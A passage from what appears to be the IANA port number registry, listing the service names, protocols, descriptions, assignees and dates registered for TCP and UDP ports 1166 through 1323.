qsm-remote         1166        udp    QSM RemoteExec               [Norm_Lunde]                                          [Norm_Lunde]                                              2004-11
cisco-ipsla        1167        tcp    Cisco IP SLAs Control        [Emmanuel_Tychon]                                     [Emmanuel_Tychon]                                         2006-03
                                      Protocol
cisco-ipsla        1167        udp    Cisco IP SLAs Control        [Emmanuel_Tychon]                                     [Emmanuel_Tychon]                                         2006-03
                                      Protocol
cisco-ipsla        1167       sctp    Cisco IP SLAs Control        [Emmanuel_Tychon]                                     [Emmanuel_Tychon]                                         2006-03
                                      Protocol
vchat              1168        tcp    VChat Conference Service     [Andreas_Wetzel]                                      [Andreas_Wetzel]                                          2002-09
vchat              1168        udp    VChat Conference Service     [Andreas_Wetzel]                                      [Andreas_Wetzel]                                          2002-09
tripwire           1169        tcp    TRIPWIRE                     [Ed_Metcalf][Albert_Holt]                             [Ed_Metcalf][Albert_Holt]
tripwire           1169        udp    TRIPWIRE                     [Ed_Metcalf][Albert_Holt]                             [Ed_Metcalf][Albert_Holt]
atc-lm             1170        tcp    AT+C License Manager         [Peter_Schafer]                                       [Peter_Schafer]                                           2004-02
atc-lm             1170        udp    AT+C License Manager         [Peter_Schafer]                                       [Peter_Schafer]                                           2004-02
atc-appserver      1171        tcp    AT+C FmiApplicationServer    [Peter_Schafer]                                       [Peter_Schafer]                                           2004-02
atc-appserver      1171        udp    AT+C FmiApplicationServer    [Peter_Schafer]                                       [Peter_Schafer]                                           2004-02
dnap               1172        tcp    DNA Protocol                 [David_McLaughlin]                                    [David_McLaughlin]                                        2004-11
dnap               1172        udp    DNA Protocol                 [David_McLaughlin]                                    [David_McLaughlin]                                        2004-11
d-cinema-rrp       1173        tcp    D-Cinema Request-Response    [Robert_Baldwin]                                      [Robert_Baldwin]                                          2004-11
d-cinema-rrp       1173        udp    D-Cinema Request-Response    [Robert_Baldwin]                                      [Robert_Baldwin]                                          2004-11
fnet-remote-ui     1174        tcp    FlashNet Remote Admin        [Terry_Smyth]                                         [Terry_Smyth]                                             2004-11
fnet-remote-ui     1174        udp    FlashNet Remote Admin        [Terry_Smyth]                                         [Terry_Smyth]                                             2004-11
dossier            1175        tcp    Dossier Server               [Rob_Minerick]                                        [Rob_Minerick]                                            2004-11
dossier            1175        udp    Dossier Server               [Rob_Minerick]                                        [Rob_Minerick]                                            2004-11
indigo-server      1176        tcp    Indigo Home Server           [Matt_Bendiksen]                                      [Matt_Bendiksen]                                          2004-11
indigo-server      1176        udp    Indigo Home Server           [Matt_Bendiksen]                                      [Matt_Bendiksen]                                          2004-11
dkmessenger        1177        tcp    DKMessenger Protocol         [Douglas_Kadlecek]                                    [Douglas_Kadlecek]                                        2004-11
dkmessenger        1177        udp    DKMessenger Protocol         [Douglas_Kadlecek]                                    [Douglas_Kadlecek]                                        2004-11
sgi-storman        1178        tcp    SGI Storage Manager          [Greg_Banks]                                          [Greg_Banks]                                              2004-11
sgi-storman        1178        udp    SGI Storage Manager          [Greg_Banks]                                          [Greg_Banks]                                              2004-11
b2n                1179        tcp    Backup To Neighbor           [Thomas_Fok]                                          [Thomas_Fok]                                              2004-11
b2n                1179        udp    Backup To Neighbor           [Thomas_Fok]                                          [Thomas_Fok]                                              2004-11
mc-client          1180        tcp    Millicent Client Proxy       [Steve_Glassman]                                      [Steve_Glassman]
mc-client          1180        udp    Millicent Client Proxy       [Steve_Glassman]                                      [Steve_Glassman]
3comnetman         1181        tcp    3Com Net Management          [Peter_White]                                         [Peter_White]                                             2004-11
3comnetman         1181        udp    3Com Net Management          [Peter_White]                                         [Peter_White]                                             2004-11
accelenet          1182        tcp    AcceleNet Control
accelenet-data     1182        udp    AcceleNet Data               [Peter_Lepeska]                                       [Peter_Lepeska]                                           2010-09-10
llsurfup-http      1183        tcp    LL Surfup HTTP
llsurfup-http      1183        udp    LL Surfup HTTP
llsurfup-https     1184        tcp    LL Surfup HTTPS              [Katy_Lynn_McCullough]                                [Katy_Lynn_McCullough]
llsurfup-https     1184        udp    LL Surfup HTTPS              [Katy_Lynn_McCullough]                                [Katy_Lynn_McCullough]
catchpole          1185        tcp    Catchpole port               [Christian_Catchpole]                                 [Christian_Catchpole]                                     2002-03
catchpole          1185        udp    Catchpole port               [Christian_Catchpole]                                 [Christian_Catchpole]                                     2002-03
mysql-cluster      1186        tcp    MySQL Cluster Manager        [Arjen_Lentz]                                         [Arjen_Lentz]                                             2004-11
mysql-cluster      1186        udp    MySQL Cluster Manager        [Arjen_Lentz]                                         [Arjen_Lentz]                                             2004-11
alias              1187        tcp    Alias Service                [Paul_Tokarchuk]                                      [Paul_Tokarchuk]                                          2004-11
alias              1187        udp    Alias Service                [Paul_Tokarchuk]                                      [Paul_Tokarchuk]                                          2004-11
hp-webadmin        1188        tcp    HP Web Admin                 [Lance_Kind]                                          [Lance_Kind]
hp-webadmin        1188        udp    HP Web Admin                 [Lance_Kind]                                          [Lance_Kind]
unet               1189        tcp    Unet Connection              [Anthony_Stahler]                                     [Anthony_Stahler]                                         2004-11
unet               1189        udp    Unet Connection              [Anthony_Stahler]                                     [Anthony_Stahler]                                         2004-11
commlinx-avl       1190        tcp    CommLinx GPS / AVL System    [Peter_Johnson]                                       [Peter_Johnson]                                           2004-11
commlinx-avl       1190        udp    CommLinx GPS / AVL System    [Peter_Johnson]                                       [Peter_Johnson]                                           2004-11
gpfs               1191        tcp    General Parallel File System [Dave_Craft]                                          [Dave_Craft]                                              2004-11
gpfs               1191        udp    General Parallel File System [Dave_Craft]                                          [Dave_Craft]                                              2004-11
caids-sensor       1192        tcp    caids sensors channel        [Gregory_Hostettler]                                  [Gregory_Hostettler]                                      2004-11
caids-sensor       1192        udp    caids sensors channel        [Gregory_Hostettler]                                  [Gregory_Hostettler]                                      2004-11
fiveacross         1193        tcp    Five Across Server           [Glenn_Reid]                                          [Glenn_Reid]                                              2004-11
fiveacross         1193        udp    Five Across Server           [Glenn_Reid]                                          [Glenn_Reid]                                              2004-11
openvpn            1194        tcp    OpenVPN                      [James_Yonan]                                         [James_Yonan]                                             2004-11
openvpn            1194        udp    OpenVPN                      [James_Yonan]                                         [James_Yonan]                                             2004-11
rsf-1              1195        tcp    RSF-1 clustering             [Dave_Hines]                                          [Dave_Hines]                                              2004-11
rsf-1              1195        udp    RSF-1 clustering             [Dave_Hines]                                          [Dave_Hines]                                              2004-11
netmagic           1196        tcp    Network Magic                [Nick_Holt]                                           [Nick_Holt]                                               2005-08
netmagic           1196        udp    Network Magic                [Nick_Holt]                                           [Nick_Holt]                                               2005-08
carrius-rshell     1197        tcp    Carrius Remote Access        [Gerry_Dubois]                                        [Gerry_Dubois]                                            2005-08
carrius-rshell     1197        udp    Carrius Remote Access        [Gerry_Dubois]                                        [Gerry_Dubois]                                            2005-08
cajo-discovery     1198        tcp    cajo reference discovery     [John_Catherino]                                      [John_Catherino]                                          2005-08
cajo-discovery     1198        udp    cajo reference discovery     [John_Catherino]                                      [John_Catherino]                                          2005-08
dmidi              1199        tcp    DMIDI                        [Phil_Kerr]                                           [Phil_Kerr]                                               2002-02
dmidi              1199        udp    DMIDI                        [Phil_Kerr]                                           [Phil_Kerr]                                               2002-02
scol               1200        tcp    SCOL                         [Cryo_Networks]                                       [Cryo_Networks]
scol               1200        udp    SCOL                         [Cryo_Networks]                                       [Cryo_Networks]
nucleus-sand       1201        tcp    Nucleus Sand Database Server [James_Marsh]                                         [James_Marsh]
nucleus-sand       1201        udp    Nucleus Sand Database Server [James_Marsh]                                         [James_Marsh]
caiccipc           1202        tcp    caiccipc                     [Vince_Re]                                            [Vince_Re]
caiccipc           1202        udp    caiccipc                     [Vince_Re]                                            [Vince_Re]
ssslic-mgr         1203        tcp    License Validation
ssslic-mgr         1203        udp    License Validation
ssslog-mgr         1204        tcp    Log Request Listener         [Eric_Bruno]                                          [Eric_Bruno]
ssslog-mgr         1204        udp    Log Request Listener         [Eric_Bruno]                                          [Eric_Bruno]
accord-mgc         1205        tcp    Accord-MGC                   [Roni_Even]                                           [Roni_Even]
accord-mgc         1205        udp    Accord-MGC                   [Roni_Even]                                           [Roni_Even]
anthony-data       1206        tcp    Anthony Data                 [Paul_Dollemore]                                      [Paul_Dollemore]
anthony-data       1206        udp    Anthony Data                 [Paul_Dollemore]                                      [Paul_Dollemore]
metasage           1207        tcp    MetaSage                     [Peter_Anvelt]                                        [Peter_Anvelt]
metasage           1207        udp    MetaSage                     [Peter_Anvelt]                                        [Peter_Anvelt]
seagull-ais        1208        tcp    SEAGULL AIS                  [Lee_Breisacher]                                      [Lee_Breisacher]
seagull-ais        1208        udp    SEAGULL AIS                  [Lee_Breisacher]                                      [Lee_Breisacher]
ipcd3              1209        tcp    IPCD3                        [Mark_Ciskey]                                         [Mark_Ciskey]
ipcd3              1209        udp    IPCD3                        [Mark_Ciskey]                                         [Mark_Ciskey]
eoss               1210        tcp    EOSS                         [Robert_Armes]                                        [Robert_Armes]
eoss               1210        udp    EOSS                         [Robert_Armes]                                        [Robert_Armes]
groove-dpp         1211        tcp    Groove DPP                   [Ken_Moore]                                           [Ken_Moore]
groove-dpp         1211        udp    Groove DPP                   [Ken_Moore]                                           [Ken_Moore]
lupa               1212        tcp    lupa                         [Barney_Wolff]                                        [Barney_Wolff]
lupa               1212        udp    lupa                         [Barney_Wolff]                                        [Barney_Wolff]
mpc-lifenet        1213        tcp    Medtronic/Physio-Control     [Physio-Control_Inc]                                  [Kevin_Drew]                                                           2014-02-14
                                      LIFENET
mpc-lifenet        1213        udp    Medtronic/Physio-Control     [Physio-Control_Inc]                                  [Kevin_Drew]                                                           2014-02-14
                                      LIFENET
kazaa              1214        tcp    KAZAA                        [Ahti_Heinla]                                         [Ahti_Heinla]
kazaa              1214        udp    KAZAA                        [Ahti_Heinla]                                         [Ahti_Heinla]
scanstat-1         1215        tcp    scanSTAT 1.0                 [William_Scheding]                                    [William_Scheding]
scanstat-1         1215        udp    scanSTAT 1.0                 [William_Scheding]                                    [William_Scheding]
etebac5            1216        tcp    ETEBAC 5                     [Jean_Louis_Barbut]                                   [Jean_Louis_Barbut]
etebac5            1216        udp    ETEBAC 5                     [Jean_Louis_Barbut]                                   [Jean_Louis_Barbut]
hpss-ndapi         1217        tcp    HPSS NonDCE Gateway          [Michael_Gleicher]                                    [Michael_Gleicher]
hpss-ndapi         1217        udp    HPSS NonDCE Gateway          [Michael_Gleicher]                                    [Michael_Gleicher]
aeroflight-ads     1218        tcp    AeroFlight-ADs
aeroflight-ads     1218        udp    AeroFlight-ADs
aeroflight-ret     1219        tcp    AeroFlight-Ret               [Eric_Johnson]                                        [Eric_Johnson]
aeroflight-ret     1219        udp    AeroFlight-Ret               [Eric_Johnson]                                        [Eric_Johnson]
qt-serveradmin     1220        tcp    QT SERVER ADMIN              [Chris_LeCroy]                                        [Chris_LeCroy]
qt-serveradmin     1220        udp    QT SERVER ADMIN              [Chris_LeCroy]                                        [Chris_LeCroy]
sweetware-apps     1221        tcp    SweetWARE Apps               [David_Dunetz]                                        [David_Dunetz]
sweetware-apps     1221        udp    SweetWARE Apps               [David_Dunetz]                                        [David_Dunetz]
nerv               1222        tcp    SNI R&D network              [Martin_Freiss]                                       [Martin_Freiss]
nerv               1222        udp    SNI R&D network              [Martin_Freiss]                                       [Martin_Freiss]
tgp                1223        tcp    TrulyGlobal Protocol         [Gur_Kimchi]                                          [Gur_Kimchi]                                              2008-05-20
tgp                1223        udp    TrulyGlobal Protocol         [Gur_Kimchi]                                          [Gur_Kimchi]                                              2008-05-20
vpnz               1224        tcp    VPNz                         [Tom_Strack]                                          [Tom_Strack]
vpnz               1224        udp    VPNz                         [Tom_Strack]                                          [Tom_Strack]
slinkysearch       1225        tcp    SLINKYSEARCH                 [Desmond_Chan]                                        [Desmond_Chan]
slinkysearch       1225        udp    SLINKYSEARCH                 [Desmond_Chan]                                        [Desmond_Chan]
stgxfws            1226        tcp    STGXFWS                      [Tetsuya_Shioda]                                      [Tetsuya_Shioda]
stgxfws            1226        udp    STGXFWS                      [Tetsuya_Shioda]                                      [Tetsuya_Shioda]
dns2go             1227        tcp    DNS2Go                       [Deerfield_Communications_Inc]                        [Mike_Courterier]                                                      2015-07-15
dns2go             1227        udp    DNS2Go                       [Deerfield_Communications_Inc]                        [Mike_Courterier]                                                      2015-07-15
florence           1228        tcp    FLORENCE                     [Brian_Trammell]                                      [Brian_Trammell]
florence           1228        udp    FLORENCE                     [Brian_Trammell]                                      [Brian_Trammell]
zented             1229        tcp    ZENworks Tiered Electronic   [Ty_Ellis]                                            [Ty_Ellis]
                                      Distribution
zented             1229        udp    ZENworks Tiered Electronic   [Ty_Ellis]                                            [Ty_Ellis]
                                      Distribution
periscope          1230        tcp    Periscope                    [Kevin_Madden]                                        [Kevin_Madden]
periscope          1230        udp    Periscope                    [Kevin_Madden]                                        [Kevin_Madden]
menandmice-lpm     1231        tcp    menandmice-lpm               [Sigfus_Magnusson]                                    [Sigfus_Magnusson]
menandmice-lpm     1231        udp    menandmice-lpm               [Sigfus_Magnusson]                                    [Sigfus_Magnusson]
first-defense      1232        tcp    Remote systems monitoring    [Nexum]                                               [Michael_Fread]                                           2012-09-21                                                                                     Microsoft (unoffically) using 1232
first-defense      1232        udp    Remote systems monitoring    [Nexum]                                               [Michael_Fread]                                           2012-09-21                                                                                     Microsoft (unoffically) using 1232
univ-appserver     1233        tcp    Universal App Server         [Tim_Sent]                                            [Tim_Sent]
univ-appserver     1233        udp    Universal App Server         [Tim_Sent]                                            [Tim_Sent]
search-agent       1234        tcp    Infoseek Search Agent        [Jackie_Wu]                                           [Jackie_Wu]
search-agent       1234        udp    Infoseek Search Agent        [Jackie_Wu]                                           [Jackie_Wu]
mosaicsyssvc1      1235        tcp    mosaicsyssvc1                [Brian_Matthews]                                      [Brian_Matthews]
mosaicsyssvc1      1235        udp    mosaicsyssvc1                [Brian_Matthews]                                      [Brian_Matthews]
bvcontrol          1236        tcp    bvcontrol                    [Daniel_J_Walsh]                                      [Daniel_J_Walsh]
bvcontrol          1236        udp    bvcontrol                    [Daniel_J_Walsh]                                      [Daniel_J_Walsh]
tsdos390           1237        tcp    tsdos390                     [Ben_Pracht]                                          [Ben_Pracht]
tsdos390           1237        udp    tsdos390                     [Ben_Pracht]                                          [Ben_Pracht]
hacl-qs            1238        tcp    hacl-qs                      [Farid_Faez]                                          [Farid_Faez]
hacl-qs            1238        udp    hacl-qs                      [Farid_Faez]                                          [Farid_Faez]
nmsd               1239        tcp    NMSD                         [Yuri_Machkasov]                                      [Yuri_Machkasov]
nmsd               1239        udp    NMSD                         [Yuri_Machkasov]                                      [Yuri_Machkasov]
instantia          1240        tcp    Instantia                    [Ruth_Slater]                                         [Ruth_Slater]
instantia          1240        udp    Instantia                    [Ruth_Slater]                                         [Ruth_Slater]
nessus             1241        tcp    nessus                       [Jordan_Hrycaj]                                       [Jordan_Hrycaj]
nessus             1241        udp    nessus                       [Jordan_Hrycaj]                                       [Jordan_Hrycaj]
nmasoverip         1242        tcp    NMAS over IP                 [Hal_Henderson]                                       [Hal_Henderson]
nmasoverip         1242        udp    NMAS over IP                 [Hal_Henderson]                                       [Hal_Henderson]
serialgateway      1243        tcp    SerialGateway                [Stephen_LaValley]                                    [Stephen_LaValley]
serialgateway      1243        udp    SerialGateway                [Stephen_LaValley]                                    [Stephen_LaValley]
isbconference1     1244        tcp    isbconference1
isbconference1     1244        udp    isbconference1
isbconference2     1245        tcp    isbconference2               [Arnold_Dittmann]                                     [Arnold_Dittmann]
isbconference2     1245        udp    isbconference2               [Arnold_Dittmann]                                     [Arnold_Dittmann]
payrouter          1246        tcp    payrouter                    [David_Wilson]                                        [David_Wilson]
payrouter          1246        udp    payrouter                    [David_Wilson]                                        [David_Wilson]
visionpyramid      1247        tcp    VisionPyramid                [Gavin_Hutchinson]                                    [Gavin_Hutchinson]
visionpyramid      1247        udp    VisionPyramid                [Gavin_Hutchinson]                                    [Gavin_Hutchinson]
hermes             1248        tcp    hermes
hermes             1248        udp    hermes
mesavistaco        1249        tcp    Mesa Vista Co                [Rick_LaBanca]                                        [Rick_LaBanca]
mesavistaco        1249        udp    Mesa Vista Co                [Rick_LaBanca]                                        [Rick_LaBanca]
swldy-sias         1250        tcp    swldy-sias                   [Peter_E_Williams]                                    [Peter_E_Williams]
swldy-sias         1250        udp    swldy-sias                   [Peter_E_Williams]                                    [Peter_E_Williams]
servergraph        1251        tcp    servergraph                  [Lindsay_Morris]                                      [Lindsay_Morris]
servergraph        1251        udp    servergraph                  [Lindsay_Morris]                                      [Lindsay_Morris]
bspne-pcc          1252        tcp    bspne-pcc
bspne-pcc          1252        udp    bspne-pcc
q55-pcc            1253        tcp    q55-pcc                      [Prem_Tirilok]                                        [Prem_Tirilok]
q55-pcc            1253        udp    q55-pcc                      [Prem_Tirilok]                                        [Prem_Tirilok]
de-noc             1254        tcp    de-noc
de-noc             1254        udp    de-noc
de-cache-query     1255        tcp    de-cache-query
de-cache-query     1255        udp    de-cache-query
de-server          1256        tcp    de-server                    [Jeff_Burdette]                                       [Jeff_Burdette]
de-server          1256        udp    de-server                    [Jeff_Burdette]                                       [Jeff_Burdette]
shockwave2         1257        tcp    Shockwave 2                  [Dave_Simmons]                                        [Dave_Simmons]
shockwave2         1257        udp    Shockwave 2                  [Dave_Simmons]                                        [Dave_Simmons]
opennl             1258        tcp    Open Network Library
opennl             1258        udp    Open Network Library
opennl-voice       1259        tcp    Open Network Library Voice   [Phil_Frisbie]                                        [Phil_Frisbie]
opennl-voice       1259        udp    Open Network Library Voice   [Phil_Frisbie]                                        [Phil_Frisbie]
ibm-ssd            1260        tcp    ibm-ssd                      [Barry_Whyte]                                         [Barry_Whyte]
ibm-ssd            1260        udp    ibm-ssd                      [Barry_Whyte]                                         [Barry_Whyte]
mpshrsv            1261        tcp    mpshrsv                      [Makoto_Ikeyama]                                      [Makoto_Ikeyama]
mpshrsv            1261        udp    mpshrsv                      [Makoto_Ikeyama]                                      [Makoto_Ikeyama]
qnts-orb           1262        tcp    QNTS-ORB                     [Raghurama_Bhat]                                      [Raghurama_Bhat]
qnts-orb           1262        udp    QNTS-ORB                     [Raghurama_Bhat]                                      [Raghurama_Bhat]
dka                1263        tcp    dka                          [Chris_Griffin]                                       [Chris_Griffin]
dka                1263        udp    dka                          [Chris_Griffin]                                       [Chris_Griffin]
prat               1264        tcp    PRAT                         [Keith_Wood]                                          [Keith_Wood]
prat               1264        udp    PRAT                         [Keith_Wood]                                          [Keith_Wood]
dssiapi            1265        tcp    DSSIAPI                      [Jim_Turner]                                          [Jim_Turner]
dssiapi            1265        udp    DSSIAPI                      [Jim_Turner]                                          [Jim_Turner]
dellpwrappks       1266        tcp    DELLPWRAPPKS                 [David_Troeger]                                       [David_Troeger]
dellpwrappks       1266        udp    DELLPWRAPPKS                 [David_Troeger]                                       [David_Troeger]
epc                1267        tcp    eTrust Policy Compliance     [Aaron_Stein]                                         [Aaron_Stein]
epc                1267        udp    eTrust Policy Compliance     [Aaron_Stein]                                         [Aaron_Stein]
propel-msgsys      1268        tcp    PROPEL-MSGSYS                [Bert_Van_der_Linden]                                 [Bert_Van_der_Linden]
propel-msgsys      1268        udp    PROPEL-MSGSYS                [Bert_Van_der_Linden]                                 [Bert_Van_der_Linden]
watilapp           1269        tcp    WATiLaPP                     [Frederic_Weymann]                                    [Frederic_Weymann]
watilapp           1269        udp    WATiLaPP                     [Frederic_Weymann]                                    [Frederic_Weymann]
opsmgr             1270        tcp    Microsoft Operations Manager [Ashvin_Sanghvi]                                      [Ashvin_Sanghvi]
opsmgr             1270        udp    Microsoft Operations Manager [Ashvin_Sanghvi]                                      [Ashvin_Sanghvi]
excw               1271        tcp    eXcW                         [Norm_Freedman]                                       [Norm_Freedman]
excw               1271        udp    eXcW                         [Norm_Freedman]                                       [Norm_Freedman]
cspmlockmgr        1272        tcp    CSPMLockMgr                  [Ibtsam_Mahfouz]                                      [Ibtsam_Mahfouz]
cspmlockmgr        1272        udp    CSPMLockMgr                  [Ibtsam_Mahfouz]                                      [Ibtsam_Mahfouz]
emc-gateway        1273        tcp    EMC-Gateway                  [Rene_Fontaine]                                       [Rene_Fontaine]
emc-gateway        1273        udp    EMC-Gateway                  [Rene_Fontaine]                                       [Rene_Fontaine]
t1distproc         1274        tcp    t1distproc                   [Julian_Biddle]                                       [Julian_Biddle]
t1distproc         1274        udp    t1distproc                   [Julian_Biddle]                                       [Julian_Biddle]
ivcollector        1275        tcp    ivcollector
ivcollector        1275        udp    ivcollector
                   1276        tcp    Reserved                                                                                                                                                  2014-05-23                                                                        This entry has been removed on 2014-05-23.
                   1276        udp    Reserved                                                                                                                                                  2014-05-23                                                                        This entry has been removed on 2014-05-23.
miva-mqs           1277        tcp    mqs                          [Miva_Corporation]                                    [Miva_Corporation]
miva-mqs           1277        udp    mqs                          [Miva_Corporation]                                    [Miva_Corporation]
dellwebadmin-1     1278        tcp    Dell Web Admin 1             [Bridget_Navoda]                                      [Bridget_Navoda]
dellwebadmin-1     1278        udp    Dell Web Admin 1             [Bridget_Navoda]                                      [Bridget_Navoda]
dellwebadmin-2     1279        tcp    Dell Web Admin 2             [Bridget_Navoda]                                      [Bridget_Navoda]
dellwebadmin-2     1279        udp    Dell Web Admin 2             [Bridget_Navoda]                                      [Bridget_Navoda]
pictrography       1280        tcp    Pictrography                 [Takashi_Hoshino]                                     [Takashi_Hoshino]
pictrography       1280        udp    Pictrography                 [Takashi_Hoshino]                                     [Takashi_Hoshino]
healthd            1281        tcp    healthd                      [James_E_Housley]                                     [James_E_Housley]
healthd            1281        udp    healthd                      [James_E_Housley]                                     [James_E_Housley]
emperion           1282        tcp    Emperion                     [Claus_Thor_Barth]                                    [Claus_Thor_Barth]
emperion           1282        udp    Emperion                     [Claus_Thor_Barth]                                    [Claus_Thor_Barth]
productinfo        1283        tcp    Product Information
productinfo        1283        udp    Product Information
iee-qfx            1284        tcp    IEE-QFX                      [Mehrdad_Ashtiani]                                    [Mehrdad_Ashtiani]                                        2009-10-19
iee-qfx            1284        udp    IEE-QFX                      [Mehrdad_Ashtiani]                                    [Mehrdad_Ashtiani]                                        2009-10-19
neoiface           1285        tcp    neoiface                     [Jason_McManus]                                       [Jason_McManus]
neoiface           1285        udp    neoiface                     [Jason_McManus]                                       [Jason_McManus]
netuitive          1286        tcp    netuitive                    [JF_Huard]                                            [JF_Huard]
netuitive          1286        udp    netuitive                    [JF_Huard]                                            [JF_Huard]
routematch         1287        tcp    RouteMatch Com               [Jeff_Jones]                                          [Jeff_Jones]                                              2005-11
routematch         1287        udp    RouteMatch Com               [Jeff_Jones]                                          [Jeff_Jones]                                              2005-11
navbuddy           1288        tcp    NavBuddy                     [Eric_Hackman]                                        [Eric_Hackman]
navbuddy           1288        udp    NavBuddy                     [Eric_Hackman]                                        [Eric_Hackman]
jwalkserver        1289        tcp    JWalkServer
jwalkserver        1289        udp    JWalkServer
winjaserver        1290        tcp    WinJaServer
winjaserver        1290        udp    WinJaServer
seagulllms         1291        tcp    SEAGULLLMS                   [Lee_Breisacher]                                      [Lee_Breisacher]
seagulllms         1291        udp    SEAGULLLMS                   [Lee_Breisacher]                                      [Lee_Breisacher]
dsdn               1292        tcp    dsdn                         [Stanislaw_Skowronek]                                 [Stanislaw_Skowronek]
dsdn               1292        udp    dsdn                         [Stanislaw_Skowronek]                                 [Stanislaw_Skowronek]
pkt-krb-ipsec      1293        tcp    PKT-KRB-IPSec                [Nancy_Davoust]                                       [Nancy_Davoust]
pkt-krb-ipsec      1293        udp    PKT-KRB-IPSec                [Nancy_Davoust]                                       [Nancy_Davoust]
cmmdriver          1294        tcp    CMMdriver                    [Lutz_Karras]                                         [Lutz_Karras]
cmmdriver          1294        udp    CMMdriver                    [Lutz_Karras]                                         [Lutz_Karras]
ehtp               1295        tcp    End-by-Hop Transmission      [Alexander_Bogdanov]                                  [Alexander_Bogdanov]
                                      Protocol
ehtp               1295        udp    End-by-Hop Transmission      [Alexander_Bogdanov]                                  [Alexander_Bogdanov]
                                      Protocol
dproxy             1296        tcp    dproxy
dproxy             1296        udp    dproxy
sdproxy            1297        tcp    sdproxy                      [Raimond_Diederik]                                    [Raimond_Diederik]
sdproxy            1297        udp    sdproxy                      [Raimond_Diederik]                                    [Raimond_Diederik]
lpcp               1298        tcp    lpcp                         [Christian_Stredicke]                                 [Christian_Stredicke]
lpcp               1298        udp    lpcp                         [Christian_Stredicke]                                 [Christian_Stredicke]
hp-sci             1299        tcp    hp-sci                       [Kim_Scott]                                           [Kim_Scott]
hp-sci             1299        udp    hp-sci                       [Kim_Scott]                                           [Kim_Scott]
h323hostcallsc     1300        tcp    H.323 Secure Call Control    [ITU-T]                                               [ITU-T_TSB]                                                            2013-01-31
                                      Signalling
h323hostcallsc     1300        udp    H.323 Secure Call Control    [ITU-T]                                               [ITU-T_TSB]                                                            2013-01-31
                                      Signalling
ci3-software-1     1301        tcp    CI3-Software-1
ci3-software-1     1301        udp    CI3-Software-1
ci3-software-2     1302        tcp    CI3-Software-2               [Kelli_Watson]                                        [Kelli_Watson]
ci3-software-2     1302        udp    CI3-Software-2               [Kelli_Watson]                                        [Kelli_Watson]
sftsrv             1303        tcp    sftsrv                       [Robert_Frazier]                                      [Robert_Frazier]
sftsrv             1303        udp    sftsrv                       [Robert_Frazier]                                      [Robert_Frazier]
boomerang          1304        tcp    Boomerang                    [Bruce_Lueckenhoff]                                   [Bruce_Lueckenhoff]
boomerang          1304        udp    Boomerang                    [Bruce_Lueckenhoff]                                   [Bruce_Lueckenhoff]
pe-mike            1305        tcp    pe-mike                      [Stephen_Hemminger]                                   [Stephen_Hemminger]
pe-mike            1305        udp    pe-mike                      [Stephen_Hemminger]                                   [Stephen_Hemminger]
re-conn-proto      1306        tcp    RE-Conn-Proto                [Sandeep_Singhal]                                     [Sandeep_Singhal]
re-conn-proto      1306        udp    RE-Conn-Proto                [Sandeep_Singhal]                                     [Sandeep_Singhal]
pacmand            1307        tcp    Pacmand                      [Edward_T_O_Shea]                                     [Edward_T_O_Shea]
pacmand            1307        udp    Pacmand                      [Edward_T_O_Shea]                                     [Edward_T_O_Shea]
odsi               1308        tcp    Optical Domain Service       [K_Arvind]                                            [K_Arvind]
                                      Interconnect (ODSI)
odsi               1308        udp    Optical Domain Service       [K_Arvind]                                            [K_Arvind]
                                      Interconnect (ODSI)
jtag-server        1309        tcp    JTAG server                  [Andrew_Draper]                                       [Andrew_Draper]
jtag-server        1309        udp    JTAG server                  [Andrew_Draper]                                       [Andrew_Draper]
husky              1310        tcp    Husky                        [Mark_Zang]                                           [Mark_Zang]
husky              1310        udp    Husky                        [Mark_Zang]                                           [Mark_Zang]
rxmon              1311        tcp    RxMon                        [Javier_Jiminez]                                      [Javier_Jiminez]
rxmon              1311        udp    RxMon                        [Javier_Jiminez]                                      [Javier_Jiminez]
sti-envision       1312        tcp    STI Envision                 [Don_Stedman]                                         [Don_Stedman]
sti-envision       1312        udp    STI Envision                 [Don_Stedman]                                         [Don_Stedman]
                                      BMC_PATROLDB

bmc-patroldb       1313        tcp    IANA assigned this           [Portnoy_Boxman]                                      [Portnoy_Boxman]
                                      well-formed service name as
                                      a replacement for
                                      "bmc_patroldb".
                                                                                                                                                                                                                                                                                  This entry is an alias to "bmc-patroldb". This entry is now
bmc_patroldb       1313        tcp    BMC_PATROLDB                 [Portnoy_Boxman]                                      [Portnoy_Boxman]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      BMC_PATROLDB

bmc-patroldb       1313        udp    IANA assigned this           [Portnoy_Boxman]                                      [Portnoy_Boxman]
                                      well-formed service name as
                                      a replacement for
                                      "bmc_patroldb".
                                                                                                                                                                                                                                                                                  This entry is an alias to "bmc-patroldb". This entry is now
bmc_patroldb       1313        udp    BMC_PATROLDB                 [Portnoy_Boxman]                                      [Portnoy_Boxman]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
pdps               1314        tcp    Photoscript Distributed      [Les_Klein]                                           [Les_Klein]
                                      Printing System
pdps               1314        udp    Photoscript Distributed      [Les_Klein]                                           [Les_Klein]
                                      Printing System
els                1315        tcp    E.L.S., Event Listener       [Jim_Cleppe]                                          [Jim_Cleppe]
                                      Service
els                1315        udp    E.L.S., Event Listener       [Jim_Cleppe]                                          [Jim_Cleppe]
                                      Service
exbit-escp         1316        tcp    Exbit-ESCP                   [Morten_Christensen]                                  [Morten_Christensen]
exbit-escp         1316        udp    Exbit-ESCP                   [Morten_Christensen]                                  [Morten_Christensen]
vrts-ipcserver     1317        tcp    vrts-ipcserver               [Bruce_Hestand]                                       [Bruce_Hestand]
vrts-ipcserver     1317        udp    vrts-ipcserver               [Bruce_Hestand]                                       [Bruce_Hestand]
krb5gatekeeper     1318        tcp    krb5gatekeeper               [Patrick_Moore]                                       [Patrick_Moore]
krb5gatekeeper     1318        udp    krb5gatekeeper               [Patrick_Moore]                                       [Patrick_Moore]
amx-icsp           1319        tcp    AMX-ICSP                     [Jeff_Burch]                                          [Jeff_Burch]
amx-icsp           1319        udp    AMX-ICSP                     [Jeff_Burch]                                          [Jeff_Burch]
amx-axbnet         1320        tcp    AMX-AXBNET                   [Jeff_Burch]                                          [Jeff_Burch]
amx-axbnet         1320        udp    AMX-AXBNET                   [Jeff_Burch]                                          [Jeff_Burch]
pip                1321        tcp    PIP                          [Gordon_Mohr]                                         [Gordon_Mohr]
pip                1321        udp    PIP                          [Gordon_Mohr]                                         [Gordon_Mohr]
novation           1322        tcp    Novation                     [Alan_Dano]                                           [Alan_Dano]
novation           1322        udp    Novation                     [Alan_Dano]                                           [Alan_Dano]
brcd               1323        tcp    brcd                         [Todd_Picquelle]                                      [Todd_Picquelle]
